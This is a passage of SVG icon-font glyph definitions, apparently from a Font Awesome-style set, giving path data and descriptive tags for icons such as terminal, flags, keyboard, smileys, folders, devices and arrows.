<glyph unicode="&#xf120;" d="M 146.25,138.25l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75t-2.5-5.75zM 416,24l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-240,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 240,0 q 3.5,0 5.75-2.25 t 2.25-5.75z" horiz-adv-x="416" data-tags="terminal, console, command line" />
<glyph unicode="&#xf11e;" d="M 208,134l0,48 q-45.25-4 -96-29.25l0-46.25 q 51.25,24 96,27.5zM 208,238.5l0,49.25 q-43-2 -96-31.5l0-47.25 q 53.75,27.75 96,29.5zM 416,122.75l0,46 q-58.75-29 -96-17.75l0,56 q-5,1.5 -9.75,3.75q-1.25,0.75 -8.25,4.25t-8.625,4.25t-7.875,3.75t-8.625,3.875t-8.125,3.25t-9,3.125t-8.75,2.125t-9.875,1.875t-9.875,1t-11,0.5 q-5.75,0 -12.25-0.75l0-55.5 l 4.75,0 q 25.5,0 48.125-7.25t 49.375-20.5q 4.75-2.25 9.75-3.75l0-47 q 10.5-4.25 22.75-4.25q 30,0 73.25,23zM 416,229.5l0,47.25 q-42.25-22.75 -76.5-22.75q-11.25,0 -19.5,2l0-49 q 37-10.5 96,22.5zM 80,320q0-8.75 -4.375-16t-11.625-11.5l0-316.5 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,316.5  q-7.25,4.25 -11.625,11.5t-4.375,16q0,13.25 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 448,304l0-190.75 q0-9.75 -8.75-14.25q-2.5-1.25 -4.25-2.25q-54.5-29 -92.25-29q-22,0 -39.5,8.75l-7,3.5q-16,8.25 -24.75,12t-22.75,7.25t-28.5,3.5q-25.5,0 -58.875-11t-57.125-25.5q-3.75-2.25 -8.25-2.25q-4,0 -8,2 q-8,4.75 -8,14l0,185.5 q0,8.75 7.75,13.75q 8.75,5.25 19.625,10.625t 28.5,13t 38.125,12.375t 38.75,4.75q 28,0 52.25-7.75t 52.25-21.5q 9.5-4.75 22.25-4.75q 30.5,0 77.5,28q 5.5,3 7.75,4.25q 7.75,4 15.5-0.5q 7.75-5 7.75-13.75z" data-tags="flag-checkered, race" />
<glyph unicode="&#xf11d;" d="M 416,122.75l0,154 q-42.25-22.75 -76.5-22.75q-20.5,0 -36.25,8q-25,12.25 -46,19.125t-44.5,6.875q-43.25,0 -100.75-31.75l0-149.75 q 61.25,28.25 108.25,28.25q 13.75,0 25.875-1.875t 24.5-6.5t 19.25-7.75t 20.625-9.875l 7-3.5q 11-5.5 25.25-5.5q 30,0 73.25,23zM 80,320q0-8.75 -4.375-16t-11.625-11.5l0-316.5 q0-3.5 -2.25-5.75t-5.75-2.25 l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,316.5 q-7.25,4.25 -11.625,11.5t-4.375,16q0,13.25 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 448,304l0-190.75 q0-9.75 -8.75-14.25q-2.5-1.25 -4.25-2.25q-54.5-29 -92.25-29q-22,0 -39.5,8.75l-7,3.5q-16,8.25 -24.75,12t-22.75,7.25t-28.5,3.5q-25.5,0 -58.875-11t-57.125-25.5 q-3.75-2.25 -8.25-2.25q-4,0 -8,2q-8,4.75 -8,14l0,185.5 q0,8.75 7.75,13.75q 8.75,5.25 19.625,10.625t 28.5,13t 38.125,12.375t 38.75,4.75q 28,0 52.25-7.75t 52.25-21.5q 9.5-4.75 22.25-4.75q 30.5,0 77.5,28q 5.5,3 7.75,4.25q 7.75,4 15.5-0.5q 7.75-5 7.75-13.75z" data-tags="flag-alt, flag, report" />
<glyph unicode="&#xf11c;" d="M 96,92l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 128,156l0-24 q0-4 -4-4l-56,0 q-4,0 -4,4l0,24 q0,4 4,4l 56,0 q 4,0 4-4zM 96,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 352,92l0-24 q0-4 -4-4 l-216,0 q-4,0 -4,4l0,24 q0,4 4,4l 216,0 q 4,0 4-4zM 192,156l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 160,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 256,156l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4 l 24,0 q 4,0 4-4zM 224,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 320,156l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 416,92l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 288,220l0-24  q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 352,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 416,220l0-88 q0-4 -4-4l-56,0 q-4,0 -4,4l0,24 q0,4 4,4l 28,0 l0,60 q0,4 4,4l 24,0 q 4,0 4-4zM 448,32l0,224 l-416,0 l0-224  l 416,0 zM 480,256l0-224 q0-13.25 -9.375-22.625t-22.625-9.375l-416,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,224 q0,13.25 9.375,22.625t 22.625,9.375l 416,0 q 13.25,0 22.625-9.375t 9.375-22.625z" horiz-adv-x="480" data-tags="keyboard, type" />
<glyph unicode="&#xf11b;" d="M 208,112l0,32 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-32,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-32 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 32,0 q 3.5,0 5.75,2.25t 2.25,5.75l0,48 l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 352,96q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375 t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 416,160q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 480,128q0-53 -37.5-90.5t-90.5-37.5q-48,0 -84.5,32l-55,0 q-36.5-32 -84.5-32q-53,0 -90.5,37.5 t-37.5,90.5t 37.5,90.5t 90.5,37.5l 224,0 q 53,0 90.5-37.5t 37.5-90.5z" horiz-adv-x="480" data-tags="gamepad, controller, joystick" />
<glyph unicode="&#xf11a;" d="M 288,112q0-6.5 -4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 160,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 160,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 288,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375 t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51t-12.75-62.125t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="meh, neutral, smiley, emoticon" />
<glyph unicode="&#xf119;" d="M 283.5,76.75q 2-6.25 -1-12.125t-9.25-7.875t-12.25,1t-8,9.5q-6.25,20 -23.125,32.375t-37.875,12.375t-37.875-12.375t-23.125-32.375q-2-6.5 -7.875-9.5t-12.125-1q-6.5,2 -9.5,7.875t-1,12.125q 9.25,30.25 34.5,48.75t 57,18.5t 57-18.5t 34.5-48.75zM 160,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375 t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 288,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51 t-12.75-62.125t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="frown, sad, smiley, emoticon" />
<glyph unicode="&#xf118;" d="M 283.5,115.25q-9.25-30.25 -34.5-48.75t-57-18.5t-57,18.5t-34.5,48.75q-2,6.25 1,12.125t 9.5,7.875q 6.25,2 12.125-1t 7.875-9.5q 6.25-20 23.125-32.375t 37.875-12.375t 37.875,12.375t 23.125,32.375q 2,6.5 8,9.5t 12.25,1t 9.25-7.875t 1-12.125zM 160,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625 t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 288,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51t-12.75-62.125 t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="smile, smiley, emoticon, happy" />
<glyph unicode="&#xf117;" d="M 232,288q 23.25,0 39.625-16.375t 16.375-39.625l0-176 q0-23 -16.375-39.5t-39.625-16.5l-176,0 q-23.25,0 -39.625,16.5t-16.375,39.5l0,176 q0,23.25 16.375,39.625t 39.625,16.375l 176,0 zM 256,56l0,176 q0,10 -7,17t-17,7l-176,0 q-10,0 -17-7t-7-17l0-176 q0-10 7-17t 17-7l 176,0 q 10,0 17,7t 7,17z M 216,160q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-144,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 144,0 z" horiz-adv-x="288" data-tags="collapse-alt, minus, subtract, remove, square" />
<glyph unicode="&#xf116;" d="M 224,152l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-56,0 l0-56 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,56 l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 l0,56 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-56 l 56,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,56l0,176 q0,10 -7,17t-17,7l-176,0 q-10,0 -17-7 t-7-17l0-176 q0-10 7-17t 17-7l 176,0 q 10,0 17,7t 7,17zM 288,232l0-176 q0-23 -16.375-39.5t-39.625-16.5l-176,0 q-23.25,0 -39.625,16.5t-16.375,39.5l0,176 q0,23.25 16.375,39.625t 39.625,16.375l 176,0 q 23.25,0 39.625-16.375t 16.375-39.625z" horiz-adv-x="288" data-tags="expand-alt, plus, square, add" />
<glyph unicode="&#xf115;" d="M 445.25,151.25q0,8.75 -13.25,8.75l-272,0 q-10,0 -21.375-5.375t-17.875-13.125l-73.5-90.75q-4.5-6 -4.5-10q0-8.75 13.25-8.75l 272,0 q 10,0 21.5,5.5t 17.75,13.25l 73.5,90.75q 4.5,5.5 4.5,9.75zM 160,192l 192,0 l0,40 q0,10 -7,17t-17,7l-144,0 q-10,0 -17,7t-7,17l0,16 q0,10 -7,17t-17,7l-80,0 q-10,0 -17-7t-7-17 l0-213.25 l 64,78.75q 11,13.25 29,21.875t 35,8.625zM 477.25,151.25q0-15.5 -11.5-30l-73.75-90.75q-10.75-13.25 -29-21.875t-35-8.625l-272,0 q-23,0 -39.5,16.5t-16.5,39.5l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0 q 23,0 39.5-16.5t 16.5-39.5l0-8 l 136,0 q 23,0 39.5-16.5t 16.5-39.5l0-40 l 48,0 q 13.5,0 24.75-6.125t 16.75-17.625q 3.75-8 3.75-17z " horiz-adv-x="480" data-tags="folder-open-alt, open, directory, category, browse" />
<glyph unicode="&#xf114;" d="M 384,56l0,176 q0,10 -7,17t-17,7l-176,0 q-10,0 -17,7t-7,17l0,16 q0,10 -7,17t-17,7l-80,0 q-10,0 -17-7t-7-17l0-240 q0-10 7-17t 17-7l 304,0 q 10,0 17,7t 7,17zM 416,232l0-176 q0-23 -16.5-39.5t-39.5-16.5l-304,0 q-23,0 -39.5,16.5t-16.5,39.5l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0  q 23,0 39.5-16.5t 16.5-39.5l0-8 l 168,0 q 23,0 39.5-16.5t 16.5-39.5z" horiz-adv-x="416" data-tags="folder-close-alt, directory, category" />
<glyph unicode="&#xf113;" d="M 160,80q0-10 -3.125-20.5t-10.75-19t-18.125-8.5t-18.125,8.5t-10.75,19t-3.125,20.5t 3.125,20.5t 10.75,19t 18.125,8.5t 18.125-8.5t 10.75-19t 3.125-20.5zM 320,80q0-10 -3.125-20.5t-10.75-19t-18.125-8.5t-18.125,8.5t-10.75,19t-3.125,20.5t 3.125,20.5t 10.75,19t 18.125,8.5t 18.125-8.5t 10.75-19t 3.125-20.5zM 360,80 q0,30 -17.25,51t-46.75,21q-10.25,0 -48.75-5.25q-17.75-2.75 -39.25-2.75t-39.25,2.75q-38,5.25 -48.75,5.25q-29.5,0 -46.75-21t-17.25-51q0-22 8-38.375t 20.25-25.75t 30.5-15t 35-7.375t 37.25-1.75l 42,0 q 20.5,0 37.25,1.75t 35,7.375t 30.5,15t 20.25,25.75t 8,38.375zM 416,124q0-51.75 -15.25-82.75q-9.5-19.25 -26.375-33.25t-35.25-21.5 t-42.5-11.875t-42.875-5.5t-41.75-1.125q-19.5,0 -35.5,0.75t-36.875,3.125t-38.125,7.5t-34.25,12.875t-30.25,20.25t-21.5,28.75q-15.5,30.75 -15.5,82.75q0,59.25 34,99q-6.75,20.5 -6.75,42.5q0,29 12.75,54.5q 27,0 47.5-9.875t 47.25-30.875q 36.75,8.75 77.25,8.75q 37,0 70-8q 26.25,20.5 46.75,30.25t 47.25,9.75q 12.75-25.5 12.75-54.5 q0-21.75 -6.75-42q 34-40 34-99.5z" horiz-adv-x="416" data-tags="github-alt, social" />
<glyph unicode="&#xf112;" d="M 448,104q0-41.5 -31.75-112.75q-0.75-1.75 -2.625-6t-3.375-7.5t-3.25-5.5q-3-4.25 -7-4.25q-3.75,0 -5.875,2.5t-2.125,6.25q0,2.25 0.625,6.625t 0.625,5.875q 1.25,17 1.25,30.75q0,25.25 -4.375,45.25t-12.125,34.625t-20,25.25t-26.375,17.375t-33.25,10.625t-38.5,5.375t-43.875,1.5l-56,0 l0-64 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75 l-128,128q-4.75,4.75 -4.75,11.25t 4.75,11.25l 128,128q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25l0-64 l 56,0 q 178.25,0 218.75-100.75q 13.25-33.5 13.25-83.25z" data-tags="reply, arrow, left" />
<glyph unicode="&#xf111;" d="M 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="circle" />
<glyph unicode="&#xf110;" d="M 124,48q0-15 -10.625-25.5t-25.375-10.5q-15,0 -25.5,10.5t-10.5,25.5t 10.5,25.5t 25.5,10.5q 14.75,0 25.375-10.5t 10.625-25.5zM 232,0q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 80,160q0-16.5 -11.75-28.25t-28.25-11.75t-28.25,11.75t-11.75,28.25 t 11.75,28.25t 28.25,11.75t 28.25-11.75t 11.75-28.25zM 340,48q0-11.5 -8.25-19.75t-19.75-8.25t-19.75,8.25t-8.25,19.75t 8.25,19.75t 19.75,8.25t 19.75-8.25t 8.25-19.75zM 132,272q0-18.25 -12.875-31.125t-31.125-12.875t-31.125,12.875t-12.875,31.125t 12.875,31.125t 31.125,12.875t 31.125-12.875t 12.875-31.125zM 248,320q0-20 -14-34t-34-14 t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 384,160q0-10 -7-17t-17-7t-17,7t-7,17t 7,17t 17,7t 17-7t 7-17zM 332,272q0-8.25 -5.875-14.125t-14.125-5.875t-14.125,5.875t-5.875,14.125t 5.875,14.125t 14.125,5.875t 14.125-5.875t 5.875-14.125z" horiz-adv-x="392" data-tags="spinner, loading, busy, progress" />
<glyph unicode="&#xf10e;" d="M 192,304l0-176 q0-26 -10.125-49.625t-27.375-40.875t-40.875-27.375t-49.625-10.125l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 16,0 q 26.5,0 45.25,18.75t 18.75,45.25l0,8 q0,10 -7,17t-17,7l-56,0 q-20,0 -34,14t-14,34l0,96 q0,20 14,34t 34,14l 96,0 q 20,0 34-14t 14-34zM 416,304 l0-176 q0-26 -10.125-49.625t-27.375-40.875t-40.875-27.375t-49.625-10.125l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 16,0 q 26.5,0 45.25,18.75t 18.75,45.25l0,8 q0,10 -7,17t-17,7l-56,0 q-20,0 -34,14t-14,34l0,96 q0,20 14,34t 34,14l 96,0 q 20,0 34-14t 14-34z" horiz-adv-x="416" data-tags="quote-right, rdquo" />
<glyph unicode="&#xf10d;" d="M 192,144l0-96 q0-20 -14-34t-34-14l-96,0 q-20,0 -34,14t-14,34l0,176 q0,26 10.125,49.625t 27.375,40.875t 40.875,27.375t 49.625,10.125l 16,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-26.5,0 -45.25-18.75t-18.75-45.25l0-8 q0-10 7-17t 17-7l 56,0 q 20,0 34-14t 14-34z M 416,144l0-96 q0-20 -14-34t-34-14l-96,0 q-20,0 -34,14t-14,34l0,176 q0,26 10.125,49.625t 27.375,40.875t 40.875,27.375t 49.625,10.125l 16,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-26.5,0 -45.25-18.75t-18.75-45.25l0-8 q0-10 7-17t 17-7l 56,0 q 20,0 34-14t 14-34z" horiz-adv-x="416" data-tags="quote-left, ldquo" />
<glyph unicode="&#xf10c;" d="M 192,296q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25t-18.25,68.25t-49.5,49.5t-68.25,18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75 t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="circle-blank" />
<glyph unicode="&#xf10b;" d="M 116,32q0,8.25 -5.875,14.125t-14.125,5.875t-14.125-5.875t-5.875-14.125t 5.875-14.125t 14.125-5.875t 14.125,5.875t 5.875,14.125zM 168,72l0,176 q0,3.25 -2.375,5.625t-5.625,2.375l-128,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-176 q0-3.25 2.375-5.625t 5.625-2.375l 128,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 120,284 q0,4 -4,4l-40,0 q-4,0 -4-4t 4-4l 40,0 q 4,0 4,4zM 192,288l0-256 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,256 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="192" data-tags="mobile, phone" />
<glyph unicode="&#xf10a;" d="M 160,32q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 256,72l0,240 q0,3.25 -2.375,5.625t-5.625,2.375l-208,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-240 q0-3.25 2.375-5.625t 5.625-2.375l 208,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 288,312l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-208,0  q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 208,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="288" data-tags="tablet, mobile" />
<glyph unicode="&#xf109;" d="M 104,64q-16.5,0 -28.25,11.75t-11.75,28.25l0,176 q0,16.5 11.75,28.25t 28.25,11.75l 272,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-176 q0-16.5 -11.75-28.25t-28.25-11.75l-272,0 zM 96,280l0-176 q0-3.25 2.375-5.625t 5.625-2.375l 272,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,176 q0,3.25 -2.375,5.625t-5.625,2.375l-272,0 q-3.25,0 -5.625-2.375t-2.375-5.625z M 440,48l 40,0 l0-24 q0-10 -11.75-17t-28.25-7l-400,0 q-16.5,0 -28.25,7t-11.75,17l0,24 l 40,0 l 400,0 zM 260,24q 4,0 4,4t-4,4l-40,0 q-4,0 -4-4t 4-4l 40,0 z" horiz-adv-x="480" data-tags="laptop, computer, notebook" />
<glyph unicode="&#xf108;" d="M 448,136l0,208 q0,3.25 -2.375,5.625t-5.625,2.375l-400,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-208 q0-3.25 2.375-5.625t 5.625-2.375l 400,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 480,344l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-136,0 q0-9.25 4-19.375t 8-17.75t 4-10.875q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75 t-4.75,11.25q0,3.5 4,11t 8,17.5t 4,19.5l-136,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480" data-tags="desktop, computer, screen, display, pc" />
<glyph unicode="&#xf107;" d="M 268.75,200q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 98.25-98.25l 98.25,98.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288" data-tags="angle-down, arrow, down" />
<glyph unicode="&#xf106;" d="M 268.75,88q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-98.25,98.25l-98.25-98.25q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288" data-tags="angle-up, arrow, up" />
<glyph unicode="&#xf105;" d="M 148.75,144q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="160" data-tags="angle-right, arrow, right" />
<glyph unicode="&#xf104;" d="M 156.75,248q0-3.25 -2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75t-2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="160" data-tags="angle-left, arrow, left" />
<glyph unicode="&#xf103;" d="M 268.75,168q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 98.25-98.25l 98.25,98.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75zM 268.75,264q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75 t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 98.25-98.25l 98.25,98.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288" data-tags="double-angle-down, down, arrows" />
<glyph unicode="&#xf102;" d="M 268.75,56q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-98.25,98.25l-98.25-98.25q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75zM 268.75,152q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-98.25,98.25l-98.25-98.25 q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288" data-tags="double-angle-up, up, arrows" />
<glyph unicode="&#xf101;" d="M 148.75,144q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75zM 244.75,144q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75 l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="256" data-tags="double-angle-right, right, arrows" />
